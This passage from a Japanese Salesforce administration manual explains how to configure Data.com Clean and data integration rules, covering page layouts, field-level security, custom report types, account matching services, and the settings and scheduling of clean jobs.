2. [ページレイアウト] を選択し、更新するページレイアウトの横にある [編集]

をクリックします。
3. [取引先レイアウト] ページで、ページ要素カテゴリのリストの [関連項目] を

クリックします。
4. [データインテグレーションルール] 関連リストをページ上の表示する位置に

ドラッグします。
[データインテグレーションルール] 関連リストが表示されます。

5. レイアウトを保存するには、[保存] をクリックします。
6. [取引先責任者] ページレイアウトと [リード] ページレイアウトについても上

記の手順を繰り返します。

会社情報データインテグレーションルールの設定に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.comデータインテグレーションルールを使用して取引先およびリードを自動
的に更新する場合は、重要なガイドラインに従ってください。

Salesforce Classic ユーザの場合の調整
Salesforce Classicユーザがレコードの更新状況を確認し、手動で更新できるように
するには、リードページレイアウトまたは取引先ページレイアウトを調整しま
す。[データインテグレーションルール] 関連リストをレイアウトに追加します。

レコードを手動で更新するユーザのアクセス
D&B 企業オブジェクトへのアクセス

ユーザが D&B 企業オブジェクトへの「参照」および「作成」アクセス権を
持っていることを確認します。ユーザがレコードを更新すると、ルールによ
り関連する D&B 企業レコードが作成されます (レコードが存在しない場合)。
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取引先項目へのアクセス
「取引先の会社情報」ルールの場合、項目レベルセキュリティを調整して、ルールで指定されるデータを
含む次の取引先項目へのアクセス権をユーザに付与します。

電話説明取引先名

SIC コード従業員数取引先部門

SIC の説明Fax年間売上

株式コード業種請求先住所

取引形態NAICS コード会社の D-U-N-S Number

設立年NAICS の説明D&B 企業

Web サイト会社形態Data.com キー

リード項目へのアクセス
リードの会社情報ルールの場合、項目レベルセキュリティを調整して、リードの次の項目へのアクセス権
をユーザに付与します。
• 年間売上
• D&B 企業
• 会社 D-U-N-S 番号
• 業種
• 従業員数

メモ:  Professional Edition の場合は、ページレイアウトを使用して項目レベルセキュリティを調整します。

関連トピック:

会社情報データインテグレーションルールの設定
項目へのユーザアクセスの制御
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取引先、取引先責任者、リードのデータインテグレーション情報に関するカスタムレポー
トタイプの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

「カスタムレポートタイプの管理」カスタムレポートタイプを作成または更
新する

「すべてのデータの編集」カスタムレポートタイプを削除する

「レポート実行」レポートを実行する

「レポートのスケジュール」レポートをスケジュールする

「レポートの作成とカスタマイズ」

および

「レポートビルダー」

レポートを作成、編集、および削除する

取引先、取引先責任者、リードのデータインテグレーション更新情報に関する
レポートの作成に役立つカスタムレポートタイプを作成します。データインテ
グレーションカスタムレポートタイプは、1 つのレポートで複数のレコードの更
新情報を見やすくするのに役立ちます。その情報を使用して、データのパターンや動向を識別したり、レコー
ドの更新方法を管理または変更したりします。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean には適用されません。

メモ: 地理コードデータインテグレーションルールのカスタムレポートを作成することはできません。地
理コードの更新状況を表示するには、Salesforce API を使用します。

カスタムレポートを使用して、データインテグレーションルールによって更新されるレコードの更新状況を確
認することができます。レポート自体を作成する前に、レポートに必要なデータをまとめるカスタムレポート
タイプを作成する必要があります。
1. [設定] から、[クイック検索] ボックスに「レポートタイプ」と入力し、[レポートタイプ] を選択します。

[カスタムレポートタイプとは?] というタイトルのページが表示された場合は、[続行] をクリックします。
2. [新規カスタムレポートタイプ] をクリックして [ステップ 1. カスタムレポートタイプの定義] ページに移動

します。
3. カスタムレポートタイプの情報を入力します。

a. [主オブジェクト] で、レポートの対象となるオブジェクト種別を選択します。
たとえば、取引先の更新状況についてレポートを作成するには、[取引先] を選択します。

b. レポートタイプの表示ラベルと説明を入力します。
レポート名では、Salesforce によって挿入された名前を受け入れます。
次に例を示します。
• レポートタイプの表示ラベル: AccountDataIntegrationReportType

• 取引先のデータインテグレーション更新状況レポートのためのカスタムレポートタイプ
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c. [カテゴリに格納] ドロップダウンから、レポートタイプのカテゴリを選択します。
• 取引先または取引先責任者のレポートタイプの場合は、[取引先と取引先責任者] を選択します。
• リードのレポートタイプの場合は、[リード] を選択します。

d. カスタムレポートをユーザに提供する準備ができるまでは、リリース状況は [開発中] を選択します。

4. [次へ] をクリックして [ステップ 2. レポートレコードセットを定義] に移動します。
5. データインテグレーション状況オブジェクトを取引先、取引先責任者、またはリードオブジェクトに関連

付けるには、[(クリックして他のオブジェクトと関連付ける)] というボックスをクリックします。
a. ドロップダウンから、[インテグレーションルール情報] を選択します。
b. [A to B リレーション] で、[各「A」レコードには、少なくとも 1 つの関連する「B」レコードが必要です]

をクリックします。

6. [保存] をクリックします。
これで、新しいカスタムレポートタイプに基づいてカスタムレポートを作成できるようになりました。レポー
トレイアウトに [データインテグレーション状況] やその他のレポートに含める項目を追加します。

メモ: デフォルトでは、レポートには、レポート対象のオブジェクトの有効なデータインテグレーション
ルールがすべて含まれます。レポートを特定のルールに絞り込むには、[インテグレーションルール情報]

オブジェクトの [説明] 項目を使用します。たとえば、「取引先の会社情報」が含まれる
IntegrationRuleInfo.Description 条件を使用します。

データインテグレーションルールのカスタム対応付けに関する考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションルールでは、更新項目の対応付けによって、Data.com

がレコードを更新する方法を制御します。ルールには、デフォルトの項目の対
応付けがあり、カスタマイズ可能です。更新の対応付けを変更する前に、対応
付けが機能するしくみ、必要な準備、および予期される結果について理解して
おいてください。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
各データインテグレーションルールにはデフォルトの更新項目の対応付けがあ
り、それによって、Data.com データが取引先、取引先責任者、またはリードレ
コードの項目にどのように入力されるかが制御されます。ユーザが取引先、取
引先責任者、またはリードを追加するたびに、Data.com は有効なルールに従って
レコードを更新します。Data.com が異なる項目 (カスタム項目を含む) にデータを
入力するように、更新項目の対応付けをカスタマイズできます。
ルールの有効化またはルールの更新の対応付けの変更を行う前に、次の考慮事
項について理解していることを確認してください。
• ルールを有効にしたり、照合の対応付けや更新の対応付けを変更したりする

と、そのルールによって影響を受けるすべてのレコードが Data.com によって一括更新されます。この動作
は、ルールの設定を編集することによって制御できます。
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• ルールベースの更新は、取引先、取引先責任者、またはリードに対して行った項目のカスタマイズ (承認、
ワークフロールール、または Apex トリガなど) とは独立しています。更新された値でもカスタマイズが動
作するように、カスタマイズを確認および編集します。

• レコードの空白の項目は、データインテグレーションルールによって自動的に入力されます。それ以外は、
ルールによってデータが上書きされることはありません。

• レコードのカスタム項目を作成し、それらを Data.com 項目に対応付けることができます。

定期データ更新とは?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データサービスを使用すると、定期的にレコードの完全同期を自動的に実行で
きます。また、以前存在したデータが使用できなくなっている場合には、それ
が報告されます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
データサービスは、定期的にレコードの更新を行うことによって、データを最
新に保ちます。このプロセスは自動で、間隔を変更または参照することはでき
ません。
定期更新プロセスの一環として、データサービスは、以前提供したデータが最
新でなくなった場合にそれを検出します。そのデータはレコードから削除され
ませんが、[無効] とマークされます。

例: データサービスを使用して取引先レコードを更新すると、取引先詳細
ページに関連リストまたはリンクとしてデータが表示されます。取引先詳
細ページから、データサービスによって組織に追加され、取引先に関連付
けられたすべてのデータを参照できます。更新されたデータが使用できな
くなった場合、データサービスはそのデータを無効とマークします。
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Data.com Clean の設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

地理コードクリーンアッ
プルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Data.com Clean ライセン
スで他のクリーンアップ
ルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

「アプリケーションのカスタマイズ」Data.com Clean を実装する

「内部ユーザの管理」Data.com Clean ユーザを有効化する

「Apex 開発」トリガを定義する

「アプリケーションのカスタマイズ」ワークフロールールを定義する

「AppExchangeパッケージのダウンロー
ド」

AppExchangeパッケージをインストール
する

ビジネスの良し悪しは、データの質によって決まってしまいます。データの更
新と強化にかかる時間を短縮し、ビジネスの成長に時間をかけたいですか? 完全
で最新の Salesforce レコードのために、Data.com Clean を設定して実装してくださ
い。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

メモ: Data.com ProspectorをData.com Cleanと一緒に使用する場合は、「Data.com

Prospector の設定」 (ページ 2056)を参照してください。

1. Data.com Clean の有効化の確認
レコードを最新の状態に保つようにするため、Data.com Clean を有効化する方法を学習します。

2. Data.com Prospector および Data.com Clean のページレイアウトの設定
Data.com Prospector および Data.com Clean を実装する場合、機能をユーザが使用できるようにするには、ボタ
ンと項目を取引先、取引先責任者、およびリードページレイアウトに追加します。Data.com Prospector また
は Data.com Clean を使用する場合、D&B 企業ページレイアウトにボタンを追加すると、ユーザはリンクされ
た D&B 企業レコードを更新できます。

3. Data.com Clean の項目レベルセキュリティの設定
Data.com Prospector または Data.com Clean を使用すると、取引先レコードでさまざまな D&B 項目が表示される
ことがあります。これらの項目は、ユーザが手動でレコードをクリーンアップすると、組み込まれます。
ユーザが項目とその値を表示して編集できるようにし、項目が取引先カードに表示されるようにするには、
項目レベルセキュリティを設定します。

4. Data.com Clean の設定の定義および取引先マッチングサービスの選択
Data.com Clean の設定により、更新するレコードと更新方法を制御できます。この設定には、取引先を更新
するために使用するマッチングサービスの選択が含まれます。

5. Data.com クリーンアップジョブの設定
組織に Data.com Clean ライセンスがある場合は、レコードを更新する自動ジョブを設定できます。
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6. Data.com の互換性を確保するためのトリガおよびワークフロールールの確認
Data.com で更新するオブジェクトに対してトリガまたはワークフロールールを使用している組織の場合、
レコードが更新されたときにユーザに予期しない結果が生じないように、トリガおよびワークフローを確
認して、これらを調整またはスキップすることを検討してください。

7. Data.com Clean のリストビューの設定
Data.com Clean ユーザがリストからレコードをクリーンアップする前に、[クリーンアップ状況] 項目を組織
のリストビューに追加します。

8. データインテグレーションルールの設定
最新の情報は、ユーザが顧客との関係を維持し、有望なリードを追跡するのに役立ちます。データインテ
グレーションルールを設定することによって、ユーザが最新の取引先、取引先責任者、リードの情報を得
られるようにします。

9. 特定の Data.com クリーンアップ状況のレコードに関するレポート
特定のクリーンアップ状況 (不一致 など) を持つ Salesforce 取引先、取引先責任者、またはリードレコードを
示すカスタムレポートを作成します。

関連トピック:

Data.com Clean

データインテグレーション
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Data.com Clean の有効化の確認

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Clean を有効化
または無効化する
• 「アプリケーションの

カスタマイズ」

レコードを最新の状態に保つようにするため、Data.com Clean を有効化する方法
を学習します。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

Data.com Clean ではレコードを常に最新の状態に保ちます。Clean は、Data.com か
ら追加したレコードだけでなく、すべての取引先、取引先責任者、およびリー
ドのレコードに使用できます。Data.com ライセンスを購入すると、Clean は自動
的に有効になります。自動クリーンアップジョブを設定すると、ユーザは個々
のレコードを手動で、またはレコードグループをリストビューからクリーンアッ
プできます。
Clean を有効にした後、設定を行ってクリーンアップジョブを制御できます。[設
定] および [ジョブ] リンクが [設定] の [クリーンアップ] セクションに表示されま
す。

メモ: Clean を有効にしても、レコードが直ちにクリーンアップされるわけ
ではありません。[無効化] をクリックすると、この機能を無効にすること
ができます。

1. [設定] から、[クイック検索] ボックスに「クリーンアップ設定」と入力し、
[クリーンアップ設定] を選択します。

2. Data.com Clean が有効化されていることを確認します。

関連トピック:

Data.com Clean

Data.com Clean の設定
データインテグレーションの設定
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Data.com Prospector および Data.com Clean のページレイアウトの設定

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

Data.com Prospector および Data.com Clean を実装する場合、機能をユーザが使用で
きるようにするには、ボタンと項目を取引先、取引先責任者、およびリードペー
ジレイアウトに追加します。Data.com Prospector または Data.com Clean を使用する
場合、D&B 企業ページレイアウトにボタンを追加すると、ユーザはリンクされた
D&B 企業レコードを更新できます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

メモ:  Professional Edition を使用している場合、選択可能な Data.com 項目およ
びボタンをすべて、各オブジェクト (取引先、取引先責任者、リード、D&B

企業) のページレイアウトに追加します。カスタムページレイアウトは
Professional Edition では使用できません。

1. 取引先のオブジェクト管理設定から、[ページレイアウト] に移動します。
2. ページレイアウトのリストから、Data.com ProspectorユーザまたはData.com Clean

ユーザが使用する各レイアウトを編集します。
3. 取引先レイアウトページのページ要素カテゴリのリストで、[項目] をクリッ

クします。
4. [クリーンアップ状況] 項目をページ上の表示する位置にドラッグします。
5. Data.com Prospector を使用している場合は、ユーザに表示する D&B 項目を追加

します。これには、[取引先 部門]、[D-U-N-S 番号]、[NAICS コード]、
[取引形態]などがあります。取引先レコードで選択可能な D&B 項目すべての
一覧については、「取引先項目」を参照してください。

ヒント:  D&B 項目用のセクションを作成し、項目をグループ化すること
をお勧めします。セクションを作成するには、[項目]グループからペー
ジ上の場所へ [セクション] 要素をドラッグします。

6. ユーザが D&B 企業レコードを更新できるようにする場合、D&B 企業ページレ
イアウトに [更新] ボタンを追加します。

7. Data.comレポートの AppExchange パッケージで提供されている「自動更新を行
わない」入力規則を使用する場合は、[Data.com Does Not Auto-Update

(Data.com で自動更新を行わない)] 項目を追加します。
8. ページ要素カテゴリのリストで、[ボタン] をクリックします。[クリーンアップ]、[取引先責任者を取得]、

[プロスペクティングインサイト]、および [会社階層]* ボタンをページ上の場所にドラッグします。
* Data.com Prospector ライセンスがある場合のみ使用可能

9. [保存] をクリックします。
10. リードのオブジェクト管理設定から、[ページレイアウト] に移動します。
11. この手順を繰り返して、リードのページレイアウトに [クリーンアップ状況] 項目と [クリーンアップ]ボタ

ンを追加します。
12. Data.com Prospector を使用している場合は、[会社 D-U-N-S 番号] 項目と [D&B 企業] 項目を追加します。

2103

組織のデータ品質の改善販売ツールの設定および管理



13. Data.com レポートの AppExchange パッケージで提供されている [自動更新を行わない] 入力規則を使用する場
合は、[Data.com Does Not Auto-Update (Data.com で自動更新を行わない)] 項目を追加します。

14. 取引先責任者のオブジェクト管理設定から、[ページレイアウト] に移動します。
15. この手順を繰り返して、取引先責任者のページレイアウトに [クリーンアップ状況] 項目と [クリーンアッ

プ] ボタンを追加します (取引先責任者に D&B 項目はありません。)

16. Data.com レポートの AppExchange パッケージで提供されている「自動更新を行わない」入力規則を使用する
場合は、[Data.com Does Not Auto-Update (Data.com で自動更新を行わない)] 項目を追加します。

17. Data.com Prospectorを使用している場合、D&B 企業のオブジェクト管理設定から、ページレイアウトに移動し
ます。

18. [グローバル代表企業の D-U-N-S を検索] ボタンを追加します。

関連トピック:

Data.com Clean の設定
データインテグレーションのページレイアウトの設定
Data.com Clean ジョブによるレコードの更新の回避
オブジェクト管理設定の検索

Data.com Clean の項目レベルセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「アプリケーションの

カスタマイズ」

Data.com Prospector または Data.com Clean を使用すると、取引先レコードでさまざ
まな D&B 項目が表示されることがあります。これらの項目は、ユーザが手動で
レコードをクリーンアップすると、組み込まれます。ユーザが項目とその値を
表示して編集できるようにし、項目が取引先カードに表示されるようにするに
は、項目レベルセキュリティを設定します。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

これらの項目の項目レベルセキュリティを設定します。
• 取引先 部門
• [D&B 企業]  (Data.com Prospector のみ)

• D-U-N-S 番号
• NAICS コード
• NAICS の説明
• 会社形態
• 産業コード
• 株式コード
• 取引形態
• 設立年
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項目レベルセキュリティを設定する方法は、プロファイルによる方法や権限セットによる方法など複数ありま
す。ただし、この場合、項目レベルセキュリティが必要となるのは、10 個の項目のみです。したがって、これ
らの項目から始めて、Data.com を使用するユーザのユーザプロファイルを選択することをお勧めします。
1. 取引先の管理設定から、[項目] セクションに移動します。
2. 各項目の表示ラベルをクリックして、それぞれの詳細ページを開きます。
3. 各項目の詳細ページで、[項目レベルセキュリティの設定] をクリックします。項目を表示および編集する

ユーザのプロファイルごとに、[参照可能]を選択します。たとえば、[標準ユーザ] プロファイルのユーザが
Data.com Clean を使用するようにする場合、そのプロファイルの [参照可能] を選択します。

メモ: これらの項目は Data.com Clean によって維持されます。このため、項目レベルセキュリティを [参照
可能]に設定して項目を編集可能にすると、クリーンアップジョブの実行時に不一致データが作成される
可能性があります。

関連トピック:

会社情報データインテグレーションルールの設定に関するガイドライン
Data.com Clean の設定
オブジェクト管理設定の検索
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Data.com Clean の設定の定義および取引先マッチングサービスの選択

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

地理コードクリーンアッ
プルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Data.com Clean ライセン
スで他のクリーンアップ
ルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

Data.com Clean の設定により、更新するレコードと更新方法を制御できます。こ
の設定には、取引先を更新するために使用するマッチングサービスの選択が含
まれます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

Salesforce 組織に Data.com Clean ライセンスがない場合は、ジョブの設定を選択で
きません。
1. 「取引先マッチングサービスの選択に関するガイドライン」を確認し、取引

先を更新するために使用するマッチングサービスを選択します。
2. [設定] から、[クイック検索] ボックスに「設定」と入力し、[個人設定] を選

択します。
3. 取引先を更新するためのマッチングサービスを選択します。D&B DUNSRight™

マッチングサービスを選択した場合は、必要に応じて信頼性コードを調整し
ます。
D&B の信頼性コードは、レコードとの類似性に基づいて、Data.com の一致候
補を 1 (類似していない) から 10 (同一または酷似) にランク付けします。類似
性スコアがここで選択したコードよりも小さい場合は、Data.com で自動的に
レコードが対応付けられません。選択した値以上の類似性スコアで複数のレ
コードが一致した場合には、スコアが最高の一致が返されます。一部のレ
コードを手動で更新する場合は、プリセットされた信頼性コード (5) とここ
で選択したコード間で一致を選択できます。

4. 「Data.com クリーンアップジョブ設定に関するガイドライン」を確認し、ジョ
ブ設定を選択します。

5. 更新するオブジェクトごとに [クリーンアップジョブを有効化]オプションが
オンになっていることを確認します。Data.com Clean ライセンスがあり、D&B

企業レコードを更新する場合は、[D&B 企業のクリーンアップジョブを有効化] チェックボックスをオンに
します。

6. 有効化したオブジェクトごとに、クリーンアップ設定を選択します。
7. [保存] をクリックして設定を保存します。

取引先マッチングサービスの選択に関するガイドライン
Data.com Prospector または Data.com Clean を使用すると、取引先レコードをクリーンアップするために組織で
使用するマッチングサービスを選択できます。サービスを選択する前に、各サービス、そのクリーンアッ
プ動作、および関連する考慮事項を理解することが重要です。
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Data.com クリーンアップジョブ設定に関するガイドライン
Data.com クリーンアップジョブを定義する前に、どのような設定ができるか確認してください。

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定
標準オブジェクトの項目履歴管理

取引先マッチングサービスの選択に関するガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector または Data.com Clean を使用すると、取引先レコードをクリー
ンアップするために組織で使用するマッチングサービスを選択できます。サー
ビスを選択する前に、各サービス、そのクリーンアップ動作、および関連する
考慮事項を理解することが重要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

次のマッチングサービスを使用できます。
Data.com マッチング

Data.com独自のマッチング技術であり、[取引先名]、[住所(請求先)]、[Web

サイト]、および [電話] 項目が照合されます。
有効な [D-U-N-S 番号]がある取引先をクリーンアップする場合は、DUNSRight

マッチングサービスが選択されていても、常に Data.comマッチングサービス
が使用されます。

D&B DUNSRight™ マッチング
D&B 独自のデータ品質技術であり、厳密なプロセスを使用してデータが正規
化され、取引先レコードが D&B 企業レコードと照合されます。このプロセス
では、D&B の信頼性コードも使用されます。信頼性コードは、レコードとの
類似性に基づいて、Data.com の一致候補を 1 (類似していない) から 10 (同一ま
たは酷似) にランク付けします。D&B には、個々の項目について文字でコード
化された Match Grade もあります。D&B DUNSRight マッチングのしくみについて
は、「D&B Entity Matching」を参照してください。

DUNSRight™ マッチングData.com マッチング属性

デフォルトのマッチングサービス

D&B の信頼性コードを含む

幅広い国際マッチングをサポート1

英語圏以外の国をサポート

[D-U-N-S 番号]のデフォルトの対応付けが
必要
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1D&B DUNSRight マッチングでは、Data.com マッチングより 200 か国多いレコードを照合できます。DUNSRight マッ
チングでは、次の国または地域はサポートしていません。アドミラルティー諸島、オーランド諸島、南極、ア
センション島、ボネール島、ブーヴェ島、英領インド洋領土、カロリン諸島、ココス (キーリング) 諸島、キュー
バ、キュラソー島、インド洋南部フランス領地域、ガーンジー島、ハード島およびマクドナルド諸島、マン
島、ジャージー島、朝鮮民主主義人民共和国、マイヨット、ミクロネシア、ミクロネシア連邦、ミッドウェー
諸島、モンゴル、ニウエ、パラオ、直轄領パレスチナ、ピトケアン、セント・バーツ島、シントユースタティ
ウス島およびサバ島、サン・マルタン (フランス領)、シントマールテン (オランダ領)、サウスジョージア、サ
ウスサンドイッチ諸島、スヴァールバルおよびヤンマイエン、ティモール・レスチ、トルコ領キプロス、米領
特定範囲外の諸島、ウェーク島、ワリー・エ・フトゥーナ諸島、西サハラ。

関連トピック:

Data.com Clean がレコードを照合する方法は?

Data.com Clean の設定
Data.com クリーンアップジョブのスケジュールに関する考慮事項
Data.com クリーンアップジョブ設定に関するガイドライン
Data.com クリーンアップジョブの設定
Data.com Clean の設定の定義および取引先マッチングサービスの選択

Data.com クリーンアップジョブ設定に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com クリーンアップジョブを定義する前に、どのような設定ができるか確認
してください。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

• Data.com Cleanでは、ジョブでデータをクリーンアップするためのオプション
が 3 つ用意されています。ジョブでは次の操作を実行できます。
– レコードごとにすべての差異にフラグを設定する: Data.com 値と異なる値を

持つ項目の識別のみを行う
– 差異にフラグを設定し、空白項目に自動入力する: Data.com と値が異なる項

目を識別し、Data.com の値を空白項目に入力する
– 項目別に設定項目をカスタマイズ

• オブジェクトの [カスタマイズ] オプションを選択すると、次の操作を実行できます。
– 一致する Data.com レコードと値が異なる Salesforce レコードの項目にフラグを設定する。
– Salesforce レコードの異なる項目値にフラグを設定し、空白項目に Data.com 値を自動入力する。
– Salesforceレコードの異なる項目値をData.com値で上書きする。Salesforce レコード値を上書きする場合は、

これらの項目の履歴管理を設定します。
• レコード全体または項目ごとに、フラグのみを選択したり、フラグと自動入力設定を定義したりすること

ができます。上書きは、項目ごとに設定します。
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• Data.com Clean を使用すると、取引先およびリードにリンクされた D&B 企業レコードもクリーンアップでき
ます。D&B 企業のクリーンアップジョブでは、D&B 企業レコードの項目値を自動的に入力したり上書きした
りしますが、リンクされた取引先レコードまたはリードレコードのデータは変更されません。

• 設定は、次にスケジュールされたクリーンアップジョブが実行されると有効になり、ユーザがレコードを
手動でクリーンアップすると適宜フラグが表示されます。

• マッチングサービスの変更後、新しいマッチングサービスを使用して 1 回限りの再照合を行う場合は、取
引先レコードから [D-U-N-S 番号] を手動で削除して、マッチングサービスでレコードを強制的に再照合
できます。これは、組織の一致率に影響を与える可能性があることに注意してください。

• カスタム項目の対応付けまたは対応付けのスキップは、どちらのマッチングサービスを使用する場合にも
お勧めしません。

• 取引開始済みのリードは、リードクリーンアップジョブから除外されます。
• クリーンアップジョブによって上書きされる項目を選択し、ユーザがレコードのその項目に不正マークを

設定すると、そのレコードの該当項目がジョブで上書きされなくなります。
• 個人取引先は、取引先および取引先責任者のクリーンアップジョブから除外されます。

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定
Data.com Clean の設定の定義および取引先マッチングサービスの選択
取引先マッチングサービスの選択に関するガイドライン

Data.com クリーンアップジョブの設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Clean ライセン
スがある場合に使用可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

組織に Data.com Clean ライセンスがある場合は、レコードを更新する自動ジョブ
を設定できます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

Data.com クリーンアップジョブのスケジュールに関する考慮事項
Data.com クリーンアップジョブで自動的に更新されるように、レコードをス
ケジュールする場合の考慮事項に留意します。
Data.com クリーンアップジョブのスケジュール設定
レコードのクリーンアップ状況を最新に保つには、レコードを Data.comと比
較する自動ジョブをスケジュール設定します。ジョブは、Data.com Cleanライ
センスのある組織のみが使用できます。
Data.com Clean を使用した Salesforce 取引先レコードの完全同期のスケジュール
設定
D&B DUNSRight™マッチングサービスを使用すると、取引先クリーンアップジョブを次に実行するときに、取
引先レコードと Data.com の完全同期をスケジュール設定できます。完全同期では、すべての取引先レコー
ドが Data.com のレコードと比較され、以前のジョブでは一致しなかったレコードの一致が検出されること
があります。
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Data.com Clean ジョブによるレコードの更新の回避
自動ジョブの実行時に、個別の取引先レコード、取引先責任者レコード、およびリードレコードがData.com

データで更新されないようにすることができます。
Data.com クリーンアップジョブ履歴の確認
Data.com クリーンアップジョブ履歴テーブルでは、現在のジョブを確認し、ジョブのエラーログにアクセ
スできます。

Data.com クリーンアップジョブのスケジュールに関する考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com クリーンアップジョブで自動的に更新されるように、レコードをスケ
ジュールする場合の考慮事項に留意します。

重要: 取引先レコード、取引先責任者レコード、またはリードレコードの
更新時にトリガを実行するように設定しており、また、トリガで SOQL クエ
リが実行される場合は、クエリによってそれらのオブジェクトに対するジョ
ブが妨げられる可能性があります。Apex トリガ (結合) では、バッチあたり
200 個を超える SOQL クエリを設定することができません。この制限を超え
ると、そのオブジェクトに対するジョブが失敗します。また、トリガが
@future メソッドである場合は、バッチあたり 10 個の @future コールという
制限が適用されます。

• ジョブは、Data.com Clean ライセンスのある組織のみが使用できます。
• ジョブを実行するには、ジョブが少なくとも週に 1 日スケジュールされてい

る必要があります。
• ジョブは、有効化されたオブジェクトのレコードのみを処理します。
• 完全同期ジョブでは、クリーンアップ状況に関わらずすべてのレコードがクリーンアップされます。増分

同期ジョブでは、クリーンアップ状況が 未比較 になっているレコードのみがクリーンアップされます。
• 完全同期ジョブは、増分同期ジョブの代わりに実行されます。
• 完全同期ジョブの実行がスケジュールされている場合、このジョブはレコードが変更されていない場合で

も実行されます。
• ジョブ間の所要時間は、前のジョブが完了してから次のジョブが開始するまでの時間です。
• ジョブはスケジュール設定に従ってキューに入れられ、取引先、取引先責任者、リードごとに独立して実

行されます。
• ジョブの完了までにかかる時間は、選択したマッチングサービス (取引先ジョブの場合)、ジョブでクリー

ンアップするレコード数、全体的な Salesforce パフォーマンスなどのいくつかの要素によって異なります。
Data.com マッチングを使用する場合、ジョブは約 1 日で 3,000,000 件のレコードをクリーンアップします。
DUNSRight™ マッチングを使用する場合、ジョブは約 1 日で 750,000 件のレコードをクリーンアップします。

• 本番データを使って本番組織で自動クリーンアップジョブを実行する前に、Sandbox 環境でその機能を試し
てみます。Data.com Cleanが本番組織にインストールされたら、同じ権限とデータが保持されるように Sandbox

を更新します。次に、Data.com Clean の実装手順に従って、Sandbox に Data.com Clean を設定します。Sandbox

環境ですべてが問題なく実行する場合は、本番組織で同じ実装手順に従います。
• Sandbox 環境でスケジュールされたジョブは、30 日後に期限切れになります。
• 最良の結果を得るには、[国] および [都道府県] 項目に有効な値を含めることをお勧めします。
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• ジョブをスケジュールする前に、取引先、取引先責任者、およびリードデータの定期的なバックアップを
スケジュールします。これは適切な措置であり、バックアップしておくことで、Salesforce レコードの一致
が不適切であった場合に以前のバージョンに戻すことができます。

